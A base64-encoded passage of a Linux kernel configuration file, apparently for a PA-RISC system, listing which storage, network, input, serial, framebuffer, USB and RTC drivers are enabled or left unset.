CiMgQ09ORklHX1BBVEFfSVQ4MjFYIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9JVDgyMTMgaXMg
bm90IHNldAojIENPTkZJR19QQVRBX0pNSUNST04gaXMgbm90IHNldAojIENPTkZJR19QQVRBX1RS
SUZMRVggaXMgbm90IHNldAojIENPTkZJR19QQVRBX01BUlZFTEwgaXMgbm90IHNldAojIENPTkZJ
R19QQVRBX01QSUlYIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9PTERQSUlYIGlzIG5vdCBzZXQK
IyBDT05GSUdfUEFUQV9ORVRDRUxMIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9OSU5KQTMyIGlz
IG5vdCBzZXQKIyBDT05GSUdfUEFUQV9OUzg3NDEwIGlzIG5vdCBzZXQKQ09ORklHX1BBVEFfTlM4
NzQxNT15CiMgQ09ORklHX1BBVEFfT1BUSSBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfT1BUSURN
QSBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfUERDX09MRCBpcyBub3Qgc2V0CiMgQ09ORklHX1BB
VEFfUkFESVNZUyBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfUloxMDAwIGlzIG5vdCBzZXQKIyBD
T05GSUdfUEFUQV9TQzEyMDAgaXMgbm90IHNldAojIENPTkZJR19QQVRBX1NFUlZFUldPUktTIGlz
IG5vdCBzZXQKIyBDT05GSUdfUEFUQV9QREMyMDI3WCBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFf
U0lMNjgwIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9TSVMgaXMgbm90IHNldAojIENPTkZJR19Q
QVRBX1ZJQSBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfV0lOQk9ORCBpcyBub3Qgc2V0CiMgQ09O
RklHX1BBVEFfU0NIIGlzIG5vdCBzZXQKQ09ORklHX01EPXkKQ09ORklHX0JMS19ERVZfTUQ9eQpD
T05GSUdfTURfQVVUT0RFVEVDVD15CiMgQ09ORklHX01EX0xJTkVBUiBpcyBub3Qgc2V0CkNPTkZJ
R19NRF9SQUlEMD15CkNPTkZJR19NRF9SQUlEMT15CiMgQ09ORklHX01EX1JBSUQxMCBpcyBub3Qg
c2V0CiMgQ09ORklHX01EX1JBSUQ0NTYgaXMgbm90IHNldAojIENPTkZJR19NRF9NVUxUSVBBVEgg
aXMgbm90IHNldAojIENPTkZJR19NRF9GQVVMVFkgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVW
X0RNIGlzIG5vdCBzZXQKIyBDT05GSUdfRlVTSU9OIGlzIG5vdCBzZXQKCiMKIyBJRUVFIDEzOTQg
KEZpcmVXaXJlKSBzdXBwb3J0CiMKCiMKIyBFbmFibGUgb25seSBvbmUgb2YgdGhlIHR3byBzdGFj
a3MsIHVubGVzcyB5b3Uga25vdyB3aGF0IHlvdSBhcmUgZG9pbmcKIwojIENPTkZJR19GSVJFV0lS
RSBpcyBub3Qgc2V0CiMgQ09ORklHX0lFRUUxMzk0IGlzIG5vdCBzZXQKIyBDT05GSUdfSTJPIGlz
IG5vdCBzZXQKQ09ORklHX05FVERFVklDRVM9eQpDT05GSUdfQ09NUEFUX05FVF9ERVZfT1BTPXkK
IyBDT05GSUdfRFVNTVkgaXMgbm90IHNldAojIENPTkZJR19CT05ESU5HIGlzIG5vdCBzZXQKIyBD
T05GSUdfTUFDVkxBTiBpcyBub3Qgc2V0CiMgQ09ORklHX0VRVUFMSVpFUiBpcyBub3Qgc2V0CiMg
Q09ORklHX1RVTiBpcyBub3Qgc2V0CiMgQ09ORklHX1ZFVEggaXMgbm90IHNldAojIENPTkZJR19B
UkNORVQgaXMgbm90IHNldAojIENPTkZJR19QSFlMSUIgaXMgbm90IHNldApDT05GSUdfTkVUX0VU
SEVSTkVUPXkKQ09ORklHX01JST15CiMgQ09ORklHX0hBUFBZTUVBTCBpcyBub3Qgc2V0CiMgQ09O
RklHX1NVTkdFTSBpcyBub3Qgc2V0CiMgQ09ORklHX0NBU1NJTkkgaXMgbm90IHNldAojIENPTkZJ
R19ORVRfVkVORE9SXzNDT00gaXMgbm90IHNldAojIENPTkZJR19FVEhPQyBpcyBub3Qgc2V0CiMg
Q09ORklHX0RORVQgaXMgbm90IHNldApDT05GSUdfTkVUX1RVTElQPXkKIyBDT05GSUdfREUyMTA0
WCBpcyBub3Qgc2V0CkNPTkZJR19UVUxJUD15CkNPTkZJR19UVUxJUF9NV0k9eQpDT05GSUdfVFVM
SVBfTU1JTz15CkNPTkZJR19UVUxJUF9OQVBJPXkKQ09ORklHX1RVTElQX05BUElfSFdfTUlUSUdB
VElPTj15CiMgQ09ORklHX0RFNFg1IGlzIG5vdCBzZXQKIyBDT05GSUdfV0lOQk9ORF84NDAgaXMg
bm90IHNldAojIENPTkZJR19ETTkxMDIgaXMgbm90IHNldAojIENPTkZJR19VTEk1MjZYIGlzIG5v
dCBzZXQKIyBDT05GSUdfSFAxMDAgaXMgbm90IHNldAojIENPTkZJR19JQk1fTkVXX0VNQUNfWk1J
SSBpcyBub3Qgc2V0CiMgQ09ORklHX0lCTV9ORVdfRU1BQ19SR01JSSBpcyBub3Qgc2V0CiMgQ09O
RklHX0lCTV9ORVdfRU1BQ19UQUggaXMgbm90IHNldAojIENPTkZJR19JQk1fTkVXX0VNQUNfRU1B
QzQgaXMgbm90IHNldAojIENPTkZJR19JQk1fTkVXX0VNQUNfTk9fRkxPV19DVFJMIGlzIG5vdCBz
ZXQKIyBDT05GSUdfSUJNX05FV19FTUFDX01BTF9DTFJfSUNJTlRTVEFUIGlzIG5vdCBzZXQKIyBD
T05GSUdfSUJNX05FV19FTUFDX01BTF9DT01NT05fRVJSIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVU
X1BDSSBpcyBub3Qgc2V0CiMgQ09ORklHX0I0NCBpcyBub3Qgc2V0CiMgQ09ORklHX0FUTDIgaXMg
bm90IHNldAojIENPTkZJR19ORVRERVZfMTAwMCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVERFVl8x
MDAwMCBpcyBub3Qgc2V0CiMgQ09ORklHX1RSIGlzIG5vdCBzZXQKCiMKIyBXaXJlbGVzcyBMQU4K
IwojIENPTkZJR19XTEFOX1BSRTgwMjExIGlzIG5vdCBzZXQKIyBDT05GSUdfV0xBTl84MDIxMSBp
cyBub3Qgc2V0CgojCiMgRW5hYmxlIFdpTUFYIChOZXR3b3JraW5nIG9wdGlvbnMpIHRvIHNlZSB0
aGUgV2lNQVggZHJpdmVycwojCgojCiMgVVNCIE5ldHdvcmsgQWRhcHRlcnMKIwojIENPTkZJR19V
U0JfQ0FUQyBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9LQVdFVEggaXMgbm90IHNldAojIENPTkZJ
R19VU0JfUEVHQVNVUyBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9SVEw4MTUwIGlzIG5vdCBzZXQK
IyBDT05GSUdfVVNCX1VTQk5FVCBpcyBub3Qgc2V0CiMgQ09ORklHX1dBTiBpcyBub3Qgc2V0CiMg
Q09ORklHX0ZEREkgaXMgbm90IHNldAojIENPTkZJR19ISVBQSSBpcyBub3Qgc2V0CiMgQ09ORklH
X1BQUCBpcyBub3Qgc2V0CiMgQ09ORklHX1NMSVAgaXMgbm90IHNldAojIENPTkZJR19ORVRfRkMg
aXMgbm90IHNldAojIENPTkZJR19ORVRDT05TT0xFIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUUE9M
TCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9QT0xMX0NPTlRST0xMRVIgaXMgbm90IHNldAojIENP
TkZJR19JU0ROIGlzIG5vdCBzZXQKIyBDT05GSUdfUEhPTkUgaXMgbm90IHNldAoKIwojIElucHV0
IGRldmljZSBzdXBwb3J0CiMKQ09ORklHX0lOUFVUPXkKIyBDT05GSUdfSU5QVVRfRkZfTUVNTEVT
UyBpcyBub3Qgc2V0CiMgQ09ORklHX0lOUFVUX1BPTExERVYgaXMgbm90IHNldAoKIwojIFVzZXJs
YW5kIGludGVyZmFjZXMKIwpDT05GSUdfSU5QVVRfTU9VU0VERVY9eQpDT05GSUdfSU5QVVRfTU9V
U0VERVZfUFNBVVg9eQpDT05GSUdfSU5QVVRfTU9VU0VERVZfU0NSRUVOX1g9MTAyNApDT05GSUdf
SU5QVVRfTU9VU0VERVZfU0NSRUVOX1k9NzY4CiMgQ09ORklHX0lOUFVUX0pPWURFViBpcyBub3Qg
c2V0CiMgQ09ORklHX0lOUFVUX0VWREVWIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfRVZCVUcg
aXMgbm90IHNldAoKIwojIElucHV0IERldmljZSBEcml2ZXJzCiMKQ09ORklHX0lOUFVUX0tFWUJP
QVJEPXkKIyBDT05GSUdfS0VZQk9BUkRfQVRLQkQgaXMgbm90IHNldAojIENPTkZJR19LRVlCT0FS
RF9TVU5LQkQgaXMgbm90IHNldAojIENPTkZJR19LRVlCT0FSRF9MS0tCRCBpcyBub3Qgc2V0CiMg
Q09ORklHX0tFWUJPQVJEX1hUS0JEIGlzIG5vdCBzZXQKIyBDT05GSUdfS0VZQk9BUkRfTkVXVE9O
IGlzIG5vdCBzZXQKIyBDT05GSUdfS0VZQk9BUkRfU1RPV0FXQVkgaXMgbm90IHNldApDT05GSUdf
SU5QVVRfTU9VU0U9eQojIENPTkZJR19NT1VTRV9QUzIgaXMgbm90IHNldAojIENPTkZJR19NT1VT
RV9TRVJJQUwgaXMgbm90IHNldAojIENPTkZJR19NT1VTRV9BUFBMRVRPVUNIIGlzIG5vdCBzZXQK
IyBDT05GSUdfTU9VU0VfQkNNNTk3NCBpcyBub3Qgc2V0CiMgQ09ORklHX01PVVNFX1ZTWFhYQUEg
aXMgbm90IHNldAojIENPTkZJR19JTlBVVF9KT1lTVElDSyBpcyBub3Qgc2V0CiMgQ09ORklHX0lO
UFVUX1RBQkxFVCBpcyBub3Qgc2V0CiMgQ09ORklHX0lOUFVUX1RPVUNIU0NSRUVOIGlzIG5vdCBz
ZXQKIyBDT05GSUdfSU5QVVRfTUlTQyBpcyBub3Qgc2V0CgojCiMgSGFyZHdhcmUgSS9PIHBvcnRz
CiMKQ09ORklHX1NFUklPPXkKQ09ORklHX1NFUklPX1NFUlBPUlQ9eQojIENPTkZJR19TRVJJT19Q
Q0lQUzIgaXMgbm90IHNldAojIENPTkZJR19TRVJJT19SQVcgaXMgbm90IHNldAojIENPTkZJR19H
QU1FUE9SVCBpcyBub3Qgc2V0CgojCiMgQ2hhcmFjdGVyIGRldmljZXMKIwpDT05GSUdfVlQ9eQpD
T05GSUdfQ09OU09MRV9UUkFOU0xBVElPTlM9eQpDT05GSUdfVlRfQ09OU09MRT15CkNPTkZJR19I
V19DT05TT0xFPXkKIyBDT05GSUdfVlRfSFdfQ09OU09MRV9CSU5ESU5HIGlzIG5vdCBzZXQKQ09O
RklHX0RFVktNRU09eQojIENPTkZJR19TRVJJQUxfTk9OU1RBTkRBUkQgaXMgbm90IHNldAojIENP
TkZJR19OT1pPTUkgaXMgbm90IHNldAoKIwojIFNlcmlhbCBkcml2ZXJzCiMKQ09ORklHX1NFUklB
TF84MjUwPXkKQ09ORklHX1NFUklBTF84MjUwX0NPTlNPTEU9eQpDT05GSUdfU0VSSUFMXzgyNTBf
UENJPXkKQ09ORklHX1NFUklBTF84MjUwX05SX1VBUlRTPTE3CkNPTkZJR19TRVJJQUxfODI1MF9S
VU5USU1FX1VBUlRTPTQKIyBDT05GSUdfU0VSSUFMXzgyNTBfRVhURU5ERUQgaXMgbm90IHNldAoK
IwojIE5vbi04MjUwIHNlcmlhbCBwb3J0IHN1cHBvcnQKIwojIENPTkZJR19QRENfQ09OU09MRSBp
cyBub3Qgc2V0CkNPTkZJR19TRVJJQUxfQ09SRT15CkNPTkZJR19TRVJJQUxfQ09SRV9DT05TT0xF
PXkKIyBDT05GSUdfU0VSSUFMX0pTTSBpcyBub3Qgc2V0CkNPTkZJR19VTklYOThfUFRZUz15CiMg
Q09ORklHX0RFVlBUU19NVUxUSVBMRV9JTlNUQU5DRVMgaXMgbm90IHNldApDT05GSUdfTEVHQUNZ
X1BUWVM9eQpDT05GSUdfTEVHQUNZX1BUWV9DT1VOVD02NAojIENPTkZJR19JUE1JX0hBTkRMRVIg
aXMgbm90IHNldAojIENPTkZJR19IV19SQU5ET00gaXMgbm90IHNldAojIENPTkZJR19SMzk2NCBp
cyBub3Qgc2V0CiMgQ09ORklHX0FQUExJQ09NIGlzIG5vdCBzZXQKIyBDT05GSUdfUkFXX0RSSVZF
UiBpcyBub3Qgc2V0CiMgQ09ORklHX1RDR19UUE0gaXMgbm90IHNldApDT05GSUdfREVWUE9SVD15
CiMgQ09ORklHX0kyQyBpcyBub3Qgc2V0CiMgQ09ORklHX1NQSSBpcyBub3Qgc2V0CiMgQ09ORklH
X1cxIGlzIG5vdCBzZXQKIyBDT05GSUdfUE9XRVJfU1VQUExZIGlzIG5vdCBzZXQKIyBDT05GSUdf
SFdNT04gaXMgbm90IHNldAojIENPTkZJR19USEVSTUFMIGlzIG5vdCBzZXQKIyBDT05GSUdfVEhF
Uk1BTF9IV01PTiBpcyBub3Qgc2V0CiMgQ09ORklHX1dBVENIRE9HIGlzIG5vdCBzZXQKQ09ORklH
X1NTQl9QT1NTSUJMRT15CgojCiMgU29uaWNzIFNpbGljb24gQmFja3BsYW5lCiMKIyBDT05GSUdf
U1NCIGlzIG5vdCBzZXQKCiMKIyBNdWx0aWZ1bmN0aW9uIGRldmljZSBkcml2ZXJzCiMKIyBDT05G
SUdfTUZEX0NPUkUgaXMgbm90IHNldAojIENPTkZJR19NRkRfU001MDEgaXMgbm90IHNldAojIENP
TkZJR19IVENfUEFTSUMzIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX1RNSU8gaXMgbm90IHNldAoj
IENPTkZJR19SRUdVTEFUT1IgaXMgbm90IHNldAoKIwojIE11bHRpbWVkaWEgZGV2aWNlcwojCgoj
CiMgTXVsdGltZWRpYSBjb3JlIHN1cHBvcnQKIwojIENPTkZJR19WSURFT19ERVYgaXMgbm90IHNl
dAojIENPTkZJR19EVkJfQ09SRSBpcyBub3Qgc2V0CiMgQ09ORklHX1ZJREVPX01FRElBIGlzIG5v
dCBzZXQKCiMKIyBNdWx0aW1lZGlhIGRyaXZlcnMKIwojIENPTkZJR19EQUIgaXMgbm90IHNldAoK
IwojIEdyYXBoaWNzIHN1cHBvcnQKIwojIENPTkZJR19BR1AgaXMgbm90IHNldAojIENPTkZJR19E
Uk0gaXMgbm90IHNldAojIENPTkZJR19WR0FTVEFURSBpcyBub3Qgc2V0CiMgQ09ORklHX1ZJREVP
X09VVFBVVF9DT05UUk9MIGlzIG5vdCBzZXQKQ09ORklHX0ZCPXkKIyBDT05GSUdfRklSTVdBUkVf
RURJRCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0REQyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0JP
T1RfVkVTQV9TVVBQT1JUIGlzIG5vdCBzZXQKQ09ORklHX0ZCX0NGQl9GSUxMUkVDVD15CkNPTkZJ
R19GQl9DRkJfQ09QWUFSRUE9eQpDT05GSUdfRkJfQ0ZCX0lNQUdFQkxJVD15CiMgQ09ORklHX0ZC
X0NGQl9SRVZfUElYRUxTX0lOX0JZVEUgaXMgbm90IHNldAojIENPTkZJR19GQl9TWVNfRklMTFJF
Q1QgaXMgbm90IHNldAojIENPTkZJR19GQl9TWVNfQ09QWUFSRUEgaXMgbm90IHNldAojIENPTkZJ
R19GQl9TWVNfSU1BR0VCTElUIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfRk9SRUlHTl9FTkRJQU4g
aXMgbm90IHNldAojIENPTkZJR19GQl9TWVNfRk9QUyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1NW
R0FMSUIgaXMgbm90IHNldAojIENPTkZJR19GQl9NQUNNT0RFUyBpcyBub3Qgc2V0CiMgQ09ORklH
X0ZCX0JBQ0tMSUdIVCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX01PREVfSEVMUEVSUyBpcyBub3Qg
c2V0CiMgQ09ORklHX0ZCX1RJTEVCTElUVElORyBpcyBub3Qgc2V0CgojCiMgRnJhbWUgYnVmZmVy
IGhhcmR3YXJlIGRyaXZlcnMKIwojIENPTkZJR19GQl9DSVJSVVMgaXMgbm90IHNldAojIENPTkZJ
R19GQl9QTTIgaXMgbm90IHNldAojIENPTkZJR19GQl9DWUJFUjIwMDAgaXMgbm90IHNldAojIENP
TkZJR19GQl9BU0lMSUFOVCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0lNU1RUIGlzIG5vdCBzZXQK
Q09ORklHX0ZCX1NUST15CiMgQ09ORklHX0ZCX1MxRDEzWFhYIGlzIG5vdCBzZXQKIyBDT05GSUdf
RkJfTlZJRElBIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfUklWQSBpcyBub3Qgc2V0CiMgQ09ORklH
X0ZCX01BVFJPWCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1JBREVPTiBpcyBub3Qgc2V0CiMgQ09O
RklHX0ZCX0FUWTEyOCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0FUWSBpcyBub3Qgc2V0CiMgQ09O
RklHX0ZCX1MzIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfU0FWQUdFIGlzIG5vdCBzZXQKIyBDT05G
SUdfRkJfU0lTIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfVklBIGlzIG5vdCBzZXQKIyBDT05GSUdf
RkJfTkVPTUFHSUMgaXMgbm90IHNldAojIENPTkZJR19GQl9LWVJPIGlzIG5vdCBzZXQKIyBDT05G
SUdfRkJfM0RGWCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1ZPT0RPTzEgaXMgbm90IHNldAojIENP
TkZJR19GQl9WVDg2MjMgaXMgbm90IHNldAojIENPTkZJR19GQl9UUklERU5UIGlzIG5vdCBzZXQK
IyBDT05GSUdfRkJfQVJLIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfUE0zIGlzIG5vdCBzZXQKIyBD
T05GSUdfRkJfQ0FSTUlORSBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1ZJUlRVQUwgaXMgbm90IHNl
dAojIENPTkZJR19GQl9NRVRST05PTUUgaXMgbm90IHNldAojIENPTkZJR19GQl9NQjg2MlhYIGlz
IG5vdCBzZXQKIyBDT05GSUdfRkJfQlJPQURTSEVFVCBpcyBub3Qgc2V0CiMgQ09ORklHX0JBQ0tM
SUdIVF9MQ0RfU1VQUE9SVCBpcyBub3Qgc2V0CgojCiMgRGlzcGxheSBkZXZpY2Ugc3VwcG9ydAoj
CiMgQ09ORklHX0RJU1BMQVlfU1VQUE9SVCBpcyBub3Qgc2V0CgojCiMgQ29uc29sZSBkaXNwbGF5
IGRyaXZlciBzdXBwb3J0CiMKQ09ORklHX0RVTU1ZX0NPTlNPTEU9eQpDT05GSUdfRFVNTVlfQ09O
U09MRV9DT0xVTU5TPTEyOApDT05GSUdfRFVNTVlfQ09OU09MRV9ST1dTPTQ4CkNPTkZJR19GUkFN
RUJVRkZFUl9DT05TT0xFPXkKIyBDT05GSUdfRlJBTUVCVUZGRVJfQ09OU09MRV9ERVRFQ1RfUFJJ
TUFSWSBpcyBub3Qgc2V0CiMgQ09ORklHX0ZSQU1FQlVGRkVSX0NPTlNPTEVfUk9UQVRJT04gaXMg
bm90IHNldApDT05GSUdfU1RJX0NPTlNPTEU9eQpDT05GSUdfRk9OVFM9eQojIENPTkZJR19GT05U
Xzh4OCBpcyBub3Qgc2V0CkNPTkZJR19GT05UXzh4MTY9eQojIENPTkZJR19GT05UXzZ4MTEgaXMg
bm90IHNldAojIENPTkZJR19GT05UXzd4MTQgaXMgbm90IHNldAojIENPTkZJR19GT05UX1BFQVJM
Xzh4OCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZPTlRfQUNPUk5fOHg4IGlzIG5vdCBzZXQKIyBDT05G
SUdfRk9OVF9NSU5JXzR4NiBpcyBub3Qgc2V0CiMgQ09ORklHX0ZPTlRfU1VOOHgxNiBpcyBub3Qg
c2V0CiMgQ09ORklHX0ZPTlRfU1VOMTJ4MjIgaXMgbm90IHNldAojIENPTkZJR19GT05UXzEweDE4
IGlzIG5vdCBzZXQKQ09ORklHX0xPR089eQojIENPTkZJR19MT0dPX0xJTlVYX01PTk8gaXMgbm90
IHNldAojIENPTkZJR19MT0dPX0xJTlVYX1ZHQTE2IGlzIG5vdCBzZXQKIyBDT05GSUdfTE9HT19M
SU5VWF9DTFVUMjI0IGlzIG5vdCBzZXQKQ09ORklHX0xPR09fUEFSSVNDX0NMVVQyMjQ9eQojIENP
TkZJR19TT1VORCBpcyBub3Qgc2V0CkNPTkZJR19ISURfU1VQUE9SVD15CkNPTkZJR19ISUQ9eQpD
T05GSUdfSElEX0RFQlVHPXkKIyBDT05GSUdfSElEUkFXIGlzIG5vdCBzZXQKCiMKIyBVU0IgSW5w
dXQgRGV2aWNlcwojCkNPTkZJR19VU0JfSElEPXkKIyBDT05GSUdfSElEX1BJRCBpcyBub3Qgc2V0
CiMgQ09ORklHX1VTQl9ISURERVYgaXMgbm90IHNldAoKIwojIFNwZWNpYWwgSElEIGRyaXZlcnMK
IwpDT05GSUdfSElEX0E0VEVDSD15CkNPTkZJR19ISURfQVBQTEU9eQpDT05GSUdfSElEX0JFTEtJ
Tj15CkNPTkZJR19ISURfQ0hFUlJZPXkKQ09ORklHX0hJRF9DSElDT05ZPXkKQ09ORklHX0hJRF9D
WVBSRVNTPXkKIyBDT05GSUdfRFJBR09OUklTRV9GRiBpcyBub3Qgc2V0CkNPTkZJR19ISURfRVpL
RVk9eQpDT05GSUdfSElEX0tZRT15CkNPTkZJR19ISURfR1lSQVRJT049eQpDT05GSUdfSElEX0tF
TlNJTkdUT049eQpDT05GSUdfSElEX0xPR0lURUNIPXkKIyBDT05GSUdfTE9HSVRFQ0hfRkYgaXMg
bm90IHNldAojIENPTkZJR19MT0dJUlVNQkxFUEFEMl9GRiBpcyBub3Qgc2V0CkNPTkZJR19ISURf
TUlDUk9TT0ZUPXkKQ09ORklHX0hJRF9NT05URVJFWT15CkNPTkZJR19ISURfTlRSSUc9eQpDT05G
SUdfSElEX1BBTlRIRVJMT1JEPXkKIyBDT05GSUdfUEFOVEhFUkxPUkRfRkYgaXMgbm90IHNldApD
T05GSUdfSElEX1BFVEFMWU5YPXkKQ09ORklHX0hJRF9TQU1TVU5HPXkKQ09ORklHX0hJRF9TT05Z
PXkKQ09ORklHX0hJRF9TVU5QTFVTPXkKIyBDT05GSUdfR1JFRU5BU0lBX0ZGIGlzIG5vdCBzZXQK
Q09ORklHX0hJRF9UT1BTRUVEPXkKIyBDT05GSUdfVEhSVVNUTUFTVEVSX0ZGIGlzIG5vdCBzZXQK
IyBDT05GSUdfWkVST1BMVVNfRkYgaXMgbm90IHNldApDT05GSUdfVVNCX1NVUFBPUlQ9eQpDT05G
SUdfVVNCX0FSQ0hfSEFTX0hDRD15CkNPTkZJR19VU0JfQVJDSF9IQVNfT0hDST15CkNPTkZJR19V
U0JfQVJDSF9IQVNfRUhDST15CkNPTkZJR19VU0I9eQojIENPTkZJR19VU0JfREVCVUcgaXMgbm90
IHNldAojIENPTkZJR19VU0JfQU5OT1VOQ0VfTkVXX0RFVklDRVMgaXMgbm90IHNldAoKIwojIE1p
c2NlbGxhbmVvdXMgVVNCIG9wdGlvbnMKIwpDT05GSUdfVVNCX0RFVklDRUZTPXkKQ09ORklHX1VT
Ql9ERVZJQ0VfQ0xBU1M9eQojIENPTkZJR19VU0JfRFlOQU1JQ19NSU5PUlMgaXMgbm90IHNldAoj
IENPTkZJR19VU0JfT1RHIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX01PTiBpcyBub3Qgc2V0CiMg
Q09ORklHX1VTQl9XVVNCIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1dVU0JfQ0JBRiBpcyBub3Qg
c2V0CgojCiMgVVNCIEhvc3QgQ29udHJvbGxlciBEcml2ZXJzCiMKIyBDT05GSUdfVVNCX0M2N1gw
MF9IQ0QgaXMgbm90IHNldAojIENPTkZJR19VU0JfRUhDSV9IQ0QgaXMgbm90IHNldAojIENPTkZJ
R19VU0JfT1hVMjEwSFBfSENEIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0lTUDExNlhfSENEIGlz
IG5vdCBzZXQKIyBDT05GSUdfVVNCX0lTUDE3NjBfSENEIGlzIG5vdCBzZXQKQ09ORklHX1VTQl9P
SENJX0hDRD15CiMgQ09ORklHX1VTQl9PSENJX0JJR19FTkRJQU5fREVTQyBpcyBub3Qgc2V0CiMg
Q09ORklHX1VTQl9PSENJX0JJR19FTkRJQU5fTU1JTyBpcyBub3Qgc2V0CkNPTkZJR19VU0JfT0hD
SV9MSVRUTEVfRU5ESUFOPXkKIyBDT05GSUdfVVNCX1VIQ0lfSENEIGlzIG5vdCBzZXQKIyBDT05G
SUdfVVNCX1NMODExX0hDRCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9SOEE2NjU5N19IQ0QgaXMg
bm90IHNldAojIENPTkZJR19VU0JfV0hDSV9IQ0QgaXMgbm90IHNldAojIENPTkZJR19VU0JfSFdB
X0hDRCBpcyBub3Qgc2V0CgojCiMgVVNCIERldmljZSBDbGFzcyBkcml2ZXJzCiMKIyBDT05GSUdf
VVNCX0FDTSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9QUklOVEVSIGlzIG5vdCBzZXQKIyBDT05G
SUdfVVNCX1dETSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9UTUMgaXMgbm90IHNldAoKIwojIE5P
VEU6IFVTQl9TVE9SQUdFIGRlcGVuZHMgb24gU0NTSSBidXQgQkxLX0RFVl9TRCBtYXkKIwoKIwoj
IGFsc28gYmUgbmVlZGVkOyBzZWUgVVNCX1NUT1JBR0UgSGVscCBmb3IgbW9yZSBpbmZvCiMKIyBD
T05GSUdfVVNCX1NUT1JBR0UgaXMgbm90IHNldAojIENPTkZJR19VU0JfTElCVVNVQUwgaXMgbm90
IHNldAoKIwojIFVTQiBJbWFnaW5nIGRldmljZXMKIwojIENPTkZJR19VU0JfTURDODAwIGlzIG5v
dCBzZXQKIyBDT05GSUdfVVNCX01JQ1JPVEVLIGlzIG5vdCBzZXQKCiMKIyBVU0IgcG9ydCBkcml2
ZXJzCiMKIyBDT05GSUdfVVNCX1NFUklBTCBpcyBub3Qgc2V0CgojCiMgVVNCIE1pc2NlbGxhbmVv
dXMgZHJpdmVycwojCiMgQ09ORklHX1VTQl9FTUk2MiBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9F
TUkyNiBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9BRFVUVVggaXMgbm90IHNldAojIENPTkZJR19V
U0JfU0VWU0VHIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1JJTzUwMCBpcyBub3Qgc2V0CiMgQ09O
RklHX1VTQl9MRUdPVE9XRVIgaXMgbm90IHNldAojIENPTkZJR19VU0JfTENEIGlzIG5vdCBzZXQK
IyBDT05GSUdfVVNCX0JFUlJZX0NIQVJHRSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9MRUQgaXMg
bm90IHNldAojIENPTkZJR19VU0JfQ1lQUkVTU19DWTdDNjMgaXMgbm90IHNldAojIENPTkZJR19V
U0JfQ1lUSEVSTSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9JRE1PVVNFIGlzIG5vdCBzZXQKIyBD
T05GSUdfVVNCX0ZURElfRUxBTiBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9BUFBMRURJU1BMQVkg
aXMgbm90IHNldAojIENPTkZJR19VU0JfTEQgaXMgbm90IHNldAojIENPTkZJR19VU0JfVFJBTkNF
VklCUkFUT1IgaXMgbm90IHNldAojIENPTkZJR19VU0JfSU9XQVJSSU9SIGlzIG5vdCBzZXQKIyBD
T05GSUdfVVNCX1RFU1QgaXMgbm90IHNldAojIENPTkZJR19VU0JfSVNJR0hURlcgaXMgbm90IHNl
dAojIENPTkZJR19VU0JfVlNUIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0dBREdFVCBpcyBub3Qg
c2V0CgojCiMgT1RHIGFuZCByZWxhdGVkIGluZnJhc3RydWN0dXJlCiMKIyBDT05GSUdfTk9QX1VT
Ql9YQ0VJViBpcyBub3Qgc2V0CiMgQ09ORklHX1VXQiBpcyBub3Qgc2V0CiMgQ09ORklHX01NQyBp
cyBub3Qgc2V0CiMgQ09ORklHX01FTVNUSUNLIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVXX0xFRFMg
aXMgbm90IHNldAojIENPTkZJR19BQ0NFU1NJQklMSVRZIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5G
SU5JQkFORCBpcyBub3Qgc2V0CkNPTkZJR19SVENfTElCPXkKQ09ORklHX1JUQ19DTEFTUz15CkNP
TkZJR19SVENfSENUT1NZUz15CkNPTkZJR19SVENfSENUT1NZU19ERVZJQ0U9InJ0YzAiCiMgQ09O
RklHX1JUQ19ERUJVRyBpcyBub3Qgc2V0CgojCiMgUlRDIGludGVyZmFjZXMKIwpDT05GSUdfUlRD
X0lOVEZfU1lTRlM9eQpDT05GSUdfUlRDX0lOVEZfUFJPQz15CkNPTkZJR19SVENfSU5URl9ERVY9
eQojIENPTkZJR19SVENfSU5URl9ERVZfVUlFX0VNVUwgaXMgbm90IHNldAojIENPTkZJR19SVENf
